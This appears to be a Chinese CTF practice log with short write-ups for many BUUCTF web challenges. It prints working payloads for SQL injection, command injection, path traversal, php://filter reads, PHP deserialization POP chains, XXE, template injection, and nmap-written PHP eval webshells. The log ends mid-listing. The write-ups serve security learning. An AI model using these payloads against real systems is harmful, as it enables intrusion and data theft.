[极客大挑战 2019]EasySQL
直接万能密码拿到flag
[HCTF 2018]WarmUp
打开发现就一张图,f12看一下,提示sourse.php
进入source.php展示php源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
|
查看源码,文件包含漏洞,并通过白名单指定必须为source.php或者hint.php
查看hint.php
提示flag在ffffllllaaaagggg文件中,因此要想办法打开ffffllllaaaagggg文件
源码通过截取问号之前的内容进行过滤,因此在文件名后加?,发现并没有输出,因此绕过了过滤,但并没有source.php文件所以没有显示内容
最后payload
1
|
source.php?/../../../../../../../../../../../ffffllllaaaagggg
|
[极客大挑战 2019]Havefun
打开之后一个猫,直接f12看一下
试一下传入cat=dog,拿到flag(感觉很诡异
[ACTF2020 新生赛]Include
打开一个a标签
点击观察url发现包含一个本地文件
尝试读一下这个文件源码,得到一串字符
base64解码,拿到flag
Payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec
打开发现一个ping命令输入
尝试没有过滤,并且是post方式参数为target
走到根目录直接cat flag,拿到flag
payload: target=0; cd ../../../../../../; cat flag
*[强网杯 2019]随便注
sql注入题
测试就是注入点
尝试' union select 1,2,3--+'
出现过滤
先看一下表和列
发现1919810931114514表中有flag字段,尝试拿到
因为过滤了一些关键词所以考虑其他的
采用定义拼接字符串语句加执行来绕过
payload:
1
|
'; set @a=concat("sel","ect flag from `1919810931114514`"); prepare b from @a; execute b;--+
|
set prepare被过滤,大小写绕过,拿到flag
最终payload
1
|
'; Set @a=concat("sel","ect flag from `1919810931114514`"); Prepare b from @a; execute b;--+
|
*[SUCTF 2019]EasySQL
又是sql注入
提示检查你的输入是否是正确flag,感觉可能直接在flag表里查
尝试了一些发现都被过滤的,而且只有输入1才有显示,感觉不是考绕过
尝试了一堆搞不出来不会了。。
看别人wp,源码是这样的$sql = "select ".$post['query']."||flag from Flag";
头一回遇到
所以就要想办法把||flag去掉
payload:*,1
[GXYCTF2019]Ping Ping Ping
一道命令注入题
执行ls发现flag文件在目录中,下一步就是读取flag.php
尝试一些发现过滤空格以及一些符号(){}<>等
关键词flag
没过滤$因此$IFS$9代替空格可行,用反引号内联ls命令读取列表第一个文件即可
Payload:
1
|
?ip=0;cat$IFS$9`ls$IFS$9|$IFS$9head$IFS$9-n1`
|
由于被包裹所以查看源码拿到flag
[极客大挑战 2019]Secret File
打开之后没信息
f12看一下
有一个a标签,直接打开
点击之后直接跳到end.php
因此抓包看一下,发现有一个中间文件action.php
直接burp suite 发包,发现返回提示信息secr3t.php文件
打开是一段php代码,提示在flag在flag.php里,并且有文件包含漏洞
读取文件base64源码
Payload:
1
2
|
secr3t.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
|
解码拿到flag
[极客大挑战 2019]LoveSQL
又一个sql注入
直接万能密码,发现无回显
尝试报错盲注,没有过滤,成功
按流程获取数据库名、表名、列名,最终找到flag
但由于报错回显位数限制32位,用substr拼接先查前面在查后面即可
Payload:
1
2
|
check.php?username=123&password=' or updatexml(1,concat(0x7e, (substr((select password from l0ve1ysq1 limit 15,1),1,32)),0x7e),1) or '
check.php?username=123&password=' or updatexml(1,concat(0x7e, (substr((select password from l0ve1ysq1 limit 15,1),30)),0x7e),1) or '
|
[极客大挑战 2019]Knife
打开告诉我有shell
直接上蚁剑发现还真连上了
在根目录找到flag文件拿到flag
*[极客大挑战 2019]Http
看题目http题,打开靶场没啥东西,查看源码发现a标签
打开告诉限制referer为https://Sycsecret.buuoj.cn
抓包加Referer: https://Sycsecret.buuoj.cn,又限制浏览器,继续抓包改User-Agent: Syclover
又限制本地访问,抓包加X-Forwarded-For: 127.0.0.1
拿到flag
请求报文
*[极客大挑战 2019]Upload
文件上传题
上传php改文件名和MIME,测试发现phtml可行,但提示检测文件内容包含<?
尝试js形式绕过,并文件头加GIF89a,上传成功
蚁剑连上拿到flag
[ACTF2020 新生赛]Upload
又是文件上传
有前端验证,传shell.png抓包改后缀phtml上传成功
后同上一题
*[极客大挑战 2019]BabySQL
还是那个sql
测试一通屏蔽了很多关键词
双写绕过通过
查表名字段,最后在b4bsql表拿到flag
payload
1
2
|
?username=123
&password=' ununionion seselectlect 1, group_concat(username, passwoorrd),3 frofromm b4bsql --+
|
极客大挑战 2019]PHP
打开提示备份,尝试url加www.zip下载文件成功,php反序列化题
构造测试不通过,因为没绕过__wakeup魔术方法
查了一下,对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
所以把个数值改为3执行拿到flag
[ACTF2020 新生赛]BackupFile
打开让找文件
目录扫描,发现index.php.bak备份文件
打开下载打开源代码
匹配输入与str,相等高亮flag,所以要搞那个str是什么
intval只获取整数,那一串放进去返回123,所以key=123拿到flag
[RoarCTF 2019]Easy Calc
打开是个计算,输入除了数字都没用,没有突破口
看源码通过calc.php计算,所以打开一下calc.php,发现源码
除了上面代码绕过,输入字母都不行,应该是waf干的,所以要绕过waf和源码
WAF检测num的参数,所以要想办法让waf读不到num,PHP会删除参数空格,空格绕过试一下,成功了
下面就简单了,chr字符编码绕过过滤拿到flag
(无参数rce chdir返回null不知道为啥
[极客大挑战 2019]BuyFlag
打开之后看菜单两个页面,没信息f12看到代码提示POST money和password,并且password弱类型匹配直接加字母绕过
post一个money=100000000&password=404a试一下,没反应,看文字应该是cookie不对,看一下cookie
把user=0改成1出提示,钱长度超了
科学计数法拿到flag
[护网杯 2018]easy_tornado
进来三个文件提示,就是构造个md5作为filehash传入才能访问flag
所以要找cookie_secret。抓包找半天没有
输错进入error页面,有一个可输入位置
感觉是ssti,但尝试半天搜是绕过,所以去学了Tornado相关的东西,可以知道这个通过handler.application.settings里,输入试试,拿到cookie_secret
构造hash拿到flag
[HCTF 2018]admin
打开是个网站,源码有提示
感觉应该是flask伪造session题。有登陆注册选项,随便注册一个登上去抓包
session拿来上科技解析一下
找SECRET_KEY,最后在/chang页面发现源码链接
在源码中找到SECRET_KEY
伪造生成session拿到flag
*[BJDCTF2020]Easy MD5
第一次遇到md5题
打开没提示看一下数据包,提示查询语句
Md5($pass, true)类型,解析后生成’‘or’xxxxx’
所以要控制xxxx内容返回true
直接输入ffifdyop,出现新提示
还是md5,判断输入a,b值不同但md5相同,继续绕过
Payload:
1
|
http://2a6bb8fd-e03e-458d-a2d3-9b78bca0c3d7.node4.buuoj.cn:81/levels91.php?a=240610708&b=QLTHNDT
|
出现新提示,数组绕过,拿到flag
Payload:
[ZJCTF 2019]NiZhuanSiWei
打开之后源代码,看了一下有三个点
text读取文件并且内容是指定的,想到伪协议,可以data构造
file有文件包含,提示包含useless.php,可以用伪协议尝试读一下源代码
password有一个反序列化点,估计会涉及到反序列化
构造text成功
读一下useless.php,解码后得到如下,提示有flag.php文件
构造password反序列化,利用伪协议执行读取flag.php
执行解码拿到flag
Payload:
1
2
3
|
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
|
[MRCTF2020]你传你🐎呢
文件上传题
传.htaccess和test.png,拿到shell
简单ac
[极客大挑战 2019]HardSQL
过滤了空格和等号
显示错误信息所以试试报错盲注,括号绕过空格,like绕过等号
成功拿到,但位数不够
substr被绕过,所以用left,right,拿到后半段flag
Payload:
1
2
|
?username=123
&password='^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))or'
|
[MRCTF2020]Ez_bypass
打开展示源代码,简单看一下
get接受dd和id,md5三等判断
Post接受passwd,php数字两等判断
dd, id 用数组绕过,passwd用数字加字符绕过,拿到flag
[SUCTF 2019]CheckIn
文件上传,试了一下黑名单检查文件后缀,检查文件开头,过滤<?
尝试.user.ini,上传成功
传shell.png成功,getshell,拿到flag
[网鼎杯 2020 青龙组]AreUSerialz
php反序列化
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
|
接受str参数处理,若op为2就读文件,可以利用直接读flag文件
调用__destruct方法中为强比较,process中为弱比较,因此传入数字2即可绕过执行,is_valid会控制输入的ASCII码,protect在生成是会产生%00,可用public生命绕过
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
?>
|
执行后转码拿到flag
*[GXYCTF2019]BabySQli
sql注入题
尝试了一些发现基本都过滤了,所以sql查询路子不太行
f12看一下发现提示
base32再base64解码后得到如下提示
通过报错判断用户名密码分开校验,尝试联合注入绕过密码校验
存在admin用户,利用联合查询为其插入自定义密码尝试
尝试md5形式,ac
Payload:
1
|
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
|
[GXYCTF2019]BabyUpload
文件上传,试了一下只能穿jpeg文件
传.htaccess简单ac
*[GYCTF2020]Blacklist
sql注入,可直接执行,万能语句看表
执行其他尝试,发现过滤了大部分关键字,但没过滤handler
直接show tables看表,利用handler查询ac
Payload:
1
|
?inject='; show tables; handler FlagHere open; handler FlagHere read first; handler close--+
|
[CISCN2019 华北赛区 Day2 Web1]Hack World
sql题,告诉表名和列名,尝试注入过滤并且无回显
尝试ascii盲注,测试第一个字符是否为f(102),成功
下面就简单了,写个脚本让他猜,最后拿到flag
*[网鼎杯 2018]Fakebook
进去之后,有登录注册功能,测试注入只会弹窗无回显,注册一个账号
点击用户名进入个人页面,观察url有一个查询,测试注入点成功,并确定回显点
但测试一番发现数据库只有一个表,并且flag不在其中
尝试sql写shell,失败没有写权限
目录扫描,发现目录下有一个flag.php,还有一个robot.txt
打开robots.txt,提示一个备份
下载下来看一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
|
结合之前的报错信息以及回显,将data参数反序列化使用,iframe框架显示会调用getBlogContents方法,其方法中会调用get方法,get中包含读取blog参数的curl,可用于传入flag.php来读取
构造payload
联合查询传入,base64转码拿到flag
[RoarCTF 2019]Easy Java
第一次做java题,试试吧
打开之后是个登录,看一下help
help弹出错误无法找到文件,POST一下成功证明可行
尝试下载配置文件WEB-INF/web.xml,成功,提示有一个FlagController
访问一下失败
搜了一下相关目录结构,利用文件下载将FlagController.class下下来
Payload:
1
|
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
|
反编译一下拿到flag
[BJDCTF2020]The mystery of ip
上去提示flag页面
进去之后说这是我的ip,但这根本不是我ip
进提示页面看一下提示
获取ip三种方式xff, client-ip, remote_addr
其中remote_addr在tcp中改不了,所以尝试改另外两种
尝试利用client-ip改一下ip试试,成功回显
尝试模版注入成功
执行命令拿到flag
打开是代码,简单看一下,通过host接受参数然后通过nmap执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
|
但有两个函数对命令进行了处理escapeshellarg, escapeshellcmd
查资料学了一下相关绕过,可配合nmap -oG参数将命令保存到文件中写入shell
Payload
1
|
'%20<?php%20eval($_POST[cmd]);?>%20-oG%201.php%20'
|
蚁剑连sandbox生成路径下1.php成功,根目录拿到flag
*[网鼎杯 2020 朱雀组]phpweb
打开之后显示warning并显示一个时间
看一下源码,通过post传两个参数,猜测第一个是函数名第二个是参数,这样才会显示时间
尝试system(’ls’),被过滤
试试读一下index.php,成功拿到源码
源码包含一个test类,可执行反序列化绕过黑名单执行命令
成功
rce拿下flag(藏的挺深找了半天
[GXYCTF2019]禁止套娃
打开之后啥也没有,f12目录扫描抓包都无果
查了一下还有git泄漏的情况,利用GitHash工具拿到源码
打开之后看一下逻辑,无参数rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
|
无参数rce拿下flag
Payload:
1
|
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
|
[BJDCTF2020]ZJCTF,不过如此
打开是源码
看一下逻辑,两个get点都可以利用伪协议,读到提示的next.php
Payload:
1
|
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
|
base64解码拿到新的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
|
查了一下资料,输入preg_replace的rce
payload:
会执行话括号中命令,配合无参数rce拿到flag
这里也可以定义一个post变量并利用post输入执行命令
[BSidesCF 2020]Had a bad day
打开之后普通页面,通过get接受一个参数,根据参数从库中调相应图片
测试了一下,白名单,只有包含woofer或者meower才会执行,不然就被过滤,执行报错发现文件包含漏洞
用?category=php://filter/read=convert.base64-encode/resource=woofers
看一下woofer.php内容,没什么价值
看一下php版本,不能用%00截断注入
路径跳转试一下拿到flag
[GWCTF 2019]我有一个数据库
进去之后是乱码
反解一下大概说的是有个数据库但啥也没有
目录扫描,发现phpmyadmin开着
进入发现无法登陆,干什么都没有权限
查了一下资料,phpmyadmin4.8.1存在一个文件包含漏洞(CVE-2018-12613)
利用一下成功ac
[BJDCTF2020]Mark loves cat
打开之后看了一圈没信息,目录扫描发现.git,直接githack下来
代码审计题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
$yds = "dog";
$is = "cat";
$handsome = 'yds';
$flag = file_get_contents('/flag');
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
|
变量覆盖yds直接exit拿到flag
Payload:
[NCTF2019]Fake XML cookbook
看题目xml题,进来之后是个登录页面
抓包看一下,通过xml传输信息并返回
直接尝试XXE,读根目录flag,ac
Payload:
1
2
3
4
5
|
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY wintrysec SYSTEM "file:///flag">
]>
<user><username>&wintrysec;</username><password>123</password></user>
|
[安洵杯 2019]easy_web
打开之后观察,标题有一个base64
解码两次得到一串数字字母
看着像16进制,转一下,得到文件名
试试包含index.php,成功
拿到源码看一下,post两个md5碰撞的值可以绕过去执行命令,并且命令很多被过滤,尝试反斜杠绕过
md5碰撞成功
执行命令拿到flag
[强网杯 2019]高明的黑客
进去之后提示备份文件
下载下来特别大,很多php文件,内容都像乱码没有其他提示
没有思路了
Wp:观察其中有一些get或者post传参位置,猜测有rce位置,上人家脚本泡一下找到位置,然后执行拿到根目录flag
[BJDCTF2020]Cookie is so stable
进去之后看提示页面,提示cookie
抓包看一下
尝试发现user部位有ssti点
直接twig ssti拿到flag
Payload:
1
|
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
|
[WUSTCTF2020]朴实无华
进来之后没提示
读一下robots.txt
虽然说是假的但也进去看一下,没其他信息
抓包看一下,发现有提示
进去之后是php代码审计,一共三关
第一关找一个比2020小加一比2021大的数
用科学记数法绕过: 1e5
第二关md5等于自身的字符串,两等验证
0e215962017
第三关命令执行,有过滤
先ls一下
绕过读拿到flag
Payload:
1
|
?num=1e5&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
|
[安洵杯 2019]easy_serialize_php
php代码审计
先看提示,提示我phpinfo有东西
看一下发现疑似flag位置
目标通过img变量读到此文件
属于php反序列化字节逃逸
构造payload:
1
|
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
|
成功拿到提示
再构造拿到flag
[ASIS 2019]Unicorn shop
打开之后是个购买平台,测试输入点注入没啥发现,但只能买4号,1-3错误
但买四号限制字符只能一个
所以就找一个一个字符表示大于1337的数字,找的是下面这个,表示罗马5000
作为价格输入拿到flag
[MRCTF2020]Ezpop
pop链题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
|
直接构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}
class Test{
public $p;
}
$m = new Modifier();
$s = new Show();
$s_ = new Show();
$t = new Test();
$s_->source = $s;
$s->str = $t;
$t->p = $m;
echo urlencode(serialize($s_));
?>
|
读到flag.php源码,解码拿到flag
[WesternCTF2018]shrine
打开是python源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{\{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
|
看一下逻辑:通过url接受模版注入,告诉flag在环境变量中,并且过滤了括号,并且过滤开头出现的的config、self
查一下,可以通过url_for.__globals__
读环境变量,并利用读取自身的变量再执行config
拿到flag
Payload:
1
|
{{url_for.__globals__['current_app'].config}}
|
[网鼎杯 2020 朱雀组]Nmap
nmap命令执行
尝试执行命令发现没有回显
尝试利用nmap将命令保存文件中getshell
payload:
1
|
host=<?php eval($_POST['cmd'])?> -oG test.php
|
被过滤
测试发现php被过滤,绕过
payload:
1
|
host=<?= @eval($_POST['cmd']);?> -oN test.phtml
|
执行后访问文件但没有
查资料发现是escapeshellarg() escapeshellcmd()两个函数的问题
两个函数配合使用时可以绕过
payload
1
|
host=' <?= @eval($_POST['cmd']);?> -oN test.phtml '
|
上蚁剑在根目录拿到flag
[CISCN 2019 初赛]Love Math
打开是源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
|
看一下逻辑:将get输入内容echo输出,可rce,但限制符号和函数白名单
函数白名单是数学函数
其中base_convert可执行随意进制转换,可以用十进制转换36进制进而生成想要的字符串
尝试直接生成system(ls)成功
但构造system(cat /flag)比较困难
尝试构造get接受其他输入进而利用其他参数构造命令绕过过滤
成功
payload:
1
|
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag
|
[MRCTF2020]PYWebsite
打开是个买flag网站
二维码扫了不是付款的,提示在原网页中找信息
f12看一下,发现授权码判断逻辑,并且提示成功会跳转flag.php
直接进flag.php
提示通过IP验证购买者,因此抓包加个xff拿到flag
[NPUCTF2020]ReadlezPHP
进去之后没什么信息,f12看一下发现链接
进去之后是源码,看一下,是反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
|
直接构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "ls";
$this->b = "system";
}
}
$h = new HelloPhp;
echo serialize($h);
?>
|
执行没反应,感觉应该是过滤了
试一下其他函数
assert可以使用。最后在环境变量中找到flag
payload:
1
|
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
|
[SWPU2019]Web1
进去是一个登录注册发布系统,测试sql,最后在详情页发现回显
测试行数,22成功回显,位置2,3
尝试发现or被过滤,因此information_schema不能用了
可利用mysql.innodb_table_stats爆出表名
库名表名
使用联合查询建新表查询绕过列名,最终拿到flag
payload:
1
|
title=1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
|
[CISCN2019 华东南赛区]Web11
进去之后是个网站,提示页面跳转查我ip或者xff,页面下部分提示又smarty构建,可能存在模版注入
抓包加个xff再访问发现根据xff变化,可能是模版注入点
尝试成功
查了一下smarty的注入姿势,构造payload拿到flag
[极客大挑战 2019]FinalSQL
sql注入,分别看了那几个按钮的信息,在6中提示不在表中
在此注入,无回显,并且过滤if,所以尝试boolean盲注
根据sql异或操作,1^1=0,会回显ERROR!!!
利用这点作为判断进行布尔盲注
写了个脚本
最终跑出表名F1naI1y, Flaaag
开头提示不在此表,猜测为flaaag表,所以直接操作F1nal1y表,最后爆出flag
buu平台多次请求429错误真耽误事
[De1CTF 2019]SSRF Me
代码审计题
进去之后是pyhon源码,整理一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
